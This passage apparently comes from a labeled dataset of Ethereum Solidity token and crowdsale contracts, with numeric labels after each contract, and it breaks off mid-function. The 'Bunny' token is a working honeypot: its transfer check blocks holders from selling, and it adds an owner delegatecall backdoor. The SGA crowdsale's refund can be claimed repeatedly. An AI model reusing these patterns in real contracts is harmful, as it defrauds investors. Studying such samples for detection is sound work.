if (msg.sender == _to) {
_transfer(from, _to, _value.add(_fee));
_postTransfer(from, _to, _value.add(_fee));
} else {
_transfer(from, _to, _value);
_postTransfer(from, _to, _value);
_transfer(from, msg.sender, _fee);
_postTransfer(from, msg.sender, _fee);
}
emit TransferPreSigned(from, _to, msg.sender, _value, _fee);
return true;
}
function hashForSign(
bytes4 _selector,
address _token,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(_selector, _token, _to, _value, _fee, _nonce));
}
} | 0 | 720 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract SGAToken is MintableToken {
string public constant name = "SGA Token";
string public constant symbol = "SGA";
uint32 public constant decimals = 18;
bool public transferAllowed = false;
modifier whenTransferAllowed() {
require(transferAllowed || msg.sender == owner);
_;
}
function allowTransfer() onlyOwner {
transferAllowed = true;
}
function transfer(address _to, uint256 _value) whenTransferAllowed returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenTransferAllowed returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract PurchaseBonusCrowdsale is Pausable {
using SafeMath for uint;
struct Bonus {
uint limit;
uint bonus;
}
Bonus[] public bonuses;
function bonusesCount() constant returns(uint) {
return bonuses.length;
}
function addBonus(uint limit, uint bonus) onlyOwner {
bonuses.push(Bonus(limit, bonus));
}
function removeBonus(uint8 number) onlyOwner {
require(number < bonuses.length);
delete bonuses[number];
for (uint i = number; i < bonuses.length - 1; i++) {
bonuses[i] = bonuses[i+1];
}
bonuses.length--;
}
function changeBonus(uint8 number, uint limit, uint bonusValue) onlyOwner {
require(number < bonuses.length);
Bonus storage bonus = bonuses[number];
bonus.limit = limit;
bonus.bonus = bonusValue;
}
function insertBonus(uint8 numberAfter, uint limit, uint bonus) onlyOwner {
require(numberAfter < bonuses.length);
bonuses.length++;
for (uint i = bonuses.length - 2; i > numberAfter; i--) {
bonuses[i + 1] = bonuses[i];
}
bonuses[numberAfter + 1] = Bonus(limit, bonus);
}
function clearBonuses() onlyOwner {
require(bonuses.length > 0);
for (uint i = 0; i < bonuses.length; i++) {
delete bonuses[i];
}
bonuses.length -= bonuses.length;
}
function getBonus(uint value) constant returns(uint) {
uint targetBonus = 0;
if(value < bonuses[0].limit)
return 0;
for (uint i = bonuses.length; i > 0; i--) {
Bonus storage bonus = bonuses[i - 1];
if (value >= bonus.limit)
return bonus.bonus;
else
targetBonus = bonus.bonus;
}
return targetBonus;
}
}
contract Crowdsale is PurchaseBonusCrowdsale {
uint public start;
uint public period;
uint public invested;
uint public hardCap;
uint public softCap;
address public multisigWallet;
address public secondWallet;
address public foundersTokensWallet;
uint public secondWalletPercent;
uint public foundersTokensPercent;
uint public price;
uint public minPrice;
uint public percentRate = 1000;
bool public refundOn = false;
mapping (address => uint) public balances;
SGAToken public token = new SGAToken();
function Crowdsale() {
period = 60;
price = 3000;
minPrice = 50000000000000000;
start = 1505998800;
hardCap = 186000000000000000000000;
softCap = 50000000000000000000000;
foundersTokensPercent = 202;
foundersTokensWallet = 0x839D81F27B870632428fab6ae9c5903936a4E5aE;
multisigWallet = 0x0CeeD87a6b8ac86938B6c2d1a0fA2B2e9000Cf6c;
secondWallet = 0x949e62320992D5BD123B4616d2E2769473101AbB;
secondWalletPercent = 10;
addBonus(1000000000000000000,5);
addBonus(2000000000000000000,10);
addBonus(3000000000000000000,15);
addBonus(5000000000000000000,20);
addBonus(7000000000000000000,25);
addBonus(10000000000000000000,30);
addBonus(15000000000000000000,35);
addBonus(20000000000000000000,40);
addBonus(50000000000000000000,45);
addBonus(75000000000000000000,50);
addBonus(100000000000000000000,55);
addBonus(150000000000000000000,60);
addBonus(200000000000000000000,70);
addBonus(300000000000000000000,75);
addBonus(500000000000000000000,80);
addBonus(750000000000000000000,90);
addBonus(1000000000000000000000,100);
addBonus(1500000000000000000000,110);
addBonus(2000000000000000000000,125);
addBonus(3000000000000000000000,140);
}
modifier saleIsOn() {
require(now >= start && now < lastSaleDate());
_;
}
modifier isUnderHardCap() {
require(invested <= hardCap);
_;
}
function lastSaleDate() constant returns(uint) {
return start + period * 1 days;
}
function setStart(uint newStart) onlyOwner {
start = newStart;
}
function setMinPrice(uint newMinPrice) onlyOwner {
minPrice = newMinPrice;
}
function setHardcap(uint newHardcap) onlyOwner {
hardCap = newHardcap;
}
function setPrice(uint newPrice) onlyOwner {
price = newPrice;
}
function setFoundersTokensPercent(uint newFoundersTokensPercent) onlyOwner {
foundersTokensPercent = newFoundersTokensPercent;
}
function setSoftcap(uint newSoftcap) onlyOwner {
softCap = newSoftcap;
}
function setSecondWallet(address newSecondWallet) onlyOwner {
secondWallet = newSecondWallet;
}
function setSecondWalletPercent(uint newSecondWalletPercent) onlyOwner {
secondWalletPercent = newSecondWalletPercent;
}
function setMultisigWallet(address newMultisigWallet) onlyOwner {
multisigWallet = newMultisigWallet;
}
function setFoundersTokensWallet(address newFoundersTokensWallet) onlyOwner {
foundersTokensWallet = newFoundersTokensWallet;
}
function createTokens() whenNotPaused isUnderHardCap saleIsOn payable {
require(msg.value >= minPrice);
balances[msg.sender] = balances[msg.sender].add(msg.value);
invested = invested.add(msg.value);
uint bonusPercent = getBonus(msg.value);
uint tokens = msg.value.mul(price);
uint bonusTokens = tokens.mul(bonusPercent).div(percentRate);
uint tokensWithBonus = tokens.add(bonusTokens);
token.mint(this, tokensWithBonus);
token.transfer(msg.sender, tokensWithBonus);
}
function refund() whenNotPaused {
require(now > start && refundOn && balances[msg.sender] > 0);
msg.sender.transfer(balances[msg.sender]);
}
function finishMinting() public whenNotPaused onlyOwner {
if(invested < softCap) {
refundOn = true;
} else {
uint secondWalletInvested = invested.mul(secondWalletPercent).div(percentRate);
secondWallet.transfer(secondWalletInvested);
multisigWallet.transfer(invested - secondWalletInvested);
uint issuedTokenSupply = token.totalSupply();
uint foundersTokens = issuedTokenSupply.mul(foundersTokensPercent).div(percentRate - foundersTokensPercent);
token.mint(this, foundersTokens);
token.allowTransfer();
token.transfer(foundersTokensWallet, foundersTokens);
}
token.finishMinting();
token.transferOwnership(owner);
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(multisigWallet, token.balanceOf(this));
}
} | 1 | 3,340 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract FreezableToken is BasicToken {
mapping (address => uint256) freezes;
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
function freeze(uint256 _value) public returns (bool success) {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
freezes[msg.sender] = freezes[msg.sender].add(_value);
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) public returns (bool success) {
require(_value <= freezes[msg.sender]);
freezes[msg.sender] = freezes[msg.sender].sub(_value);
balances[msg.sender] = balances[msg.sender].add(_value);
emit Unfreeze(msg.sender, _value);
return true;
}
function freezeOf(address _owner) public view returns (uint256) {
return freezes[_owner];
}
}
contract MusictumToken is StandardBurnableToken, FreezableToken {
string public name;
string public symbol;
uint8 public decimals;
address public admin;
constructor(address _teamWallet, uint256 _initialSupply, string _tokenName, string _tokenSymbol, uint8 _decimals) public {
totalSupply_ = _initialSupply;
balances[_teamWallet] = _initialSupply;
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimals;
admin = msg.sender;
}
function withdrawForeignTokens(address _tokenContract) public returns (bool) {
require(msg.sender == admin);
ERC20Basic token = ERC20Basic(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(admin, amount);
}
} | 1 | 3,214 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Bunny {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 690 |
pragma solidity 0.4.24;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor(address _owner)
Owned(_owner)
public
{
}
function setPaused(bool _paused)
external
onlyOwner
{
if (_paused == paused) {
return;
}
paused = _paused;
if (paused) {
lastPauseTime = now;
}
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
contract SafeDecimalMath {
uint8 public constant decimals = 18;
uint public constant UNIT = 10 ** uint(decimals);
function addIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return x + y >= y;
}
function safeAdd(uint x, uint y)
pure
internal
returns (uint)
{
require(x + y >= y, "Safe add failed");
return x + y;
}
function subIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y <= x;
}
function safeSub(uint x, uint y)
pure
internal
returns (uint)
{
require(y <= x, "Safe sub failed");
return x - y;
}
function mulIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
if (x == 0) {
return true;
}
return (x * y) / x == y;
}
function safeMul(uint x, uint y)
pure
internal
returns (uint)
{
if (x == 0) {
return 0;
}
uint p = x * y;
require(p / x == y, "Safe mul failed");
return p;
}
function safeMul_dec(uint x, uint y)
pure
internal
returns (uint)
{
return safeMul(x, y) / UNIT;
}
function divIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y != 0;
}
function safeDiv(uint x, uint y)
pure
internal
returns (uint)
{
require(y != 0, "Denominator cannot be zero");
return x / y;
}
function safeDiv_dec(uint x, uint y)
pure
internal
returns (uint)
{
return safeDiv(safeMul(x, UNIT), y);
}
function intToDec(uint i)
pure
internal
returns (uint)
{
return safeMul(i, UNIT);
}
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics,
bytes32 topic1, bytes32 topic2,
bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "This action can only be performed by the proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SafeDecimalMath, SelfDestructible, Proxyable, TokenFallbackCaller {
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
tokenState = _tokenState;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), value));
tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
